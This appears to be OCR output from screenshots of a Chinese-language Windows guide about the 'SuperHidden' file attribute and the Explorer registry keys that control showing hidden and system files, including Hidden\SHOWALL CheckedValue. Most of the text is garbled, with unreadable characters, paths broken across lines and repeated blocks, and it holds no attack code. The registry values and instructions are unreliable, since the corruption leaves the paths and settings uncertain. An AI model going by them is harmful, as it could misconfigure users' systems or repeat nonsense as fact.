Bean binp
Iy ! . — EMF
4 » B9 B8 R
Diclnstall lng ‘explond: explorerexe  explorerexe FfSetup log FeatherTestu..  g90f-32 cat GO0f-2 dem
> B o§ @ CI-
B )
GA0f-3 inf (Gone Crreenstone b hh exe ie7_mainlog ie8_mainlog iizh log imzing BAK
Fishing bmp
[ =5 T, o - P [N [k [N =~
|242 @i [19.7 1B | HETER 4




SuperHidden

® SuperHidden %L{System+Hidden
@ i3 TSR E R A] A B or kAR E R R
4= (F £ F 1)
¥ HKLM\SOF TWARE\Microsoft\Windows\Curr
entVersion\Explorer\Advanced\Folder\Hidde

N\SHOWALL ¢+CheckedValue#t % % 0 > & 4]
. 7 £ REG_DWORD

 HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Explorer\Advanced\Folder\Super
Hidden=CheckedValue#t ik % 1



SuperHidden

® SuperHidden %L{System+Hidden
@ i3 TSR E R A] A B or kAR E R R
4= (F £ F 1)
¥ HKLM\SOF TWARE\Microsoft\Windows\Curr
entVersion\Explorer\Advanced\Folder\Hidde

N\SHOWALL ¢+CheckedValue#t % % 0 > & 4]
. 7 £ REG_DWORD

 HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Explorer\Advanced\Folder\Super
Hidden=CheckedValue#t ik % 1



SuperHidden

HHICRE ) 2 x
— R |msEn | e |
TR

ooy LA R A deeil (P IA0STF A S R = HERAT) Ik
BEHRESAEREIFTRERE -

SRR TE:
) BB FIE R -]
® LEEFERBIIER
O FleRETasy BIEHE R ERR S
O R ERR D ER B —EE AR
O R CHEFERARERE S
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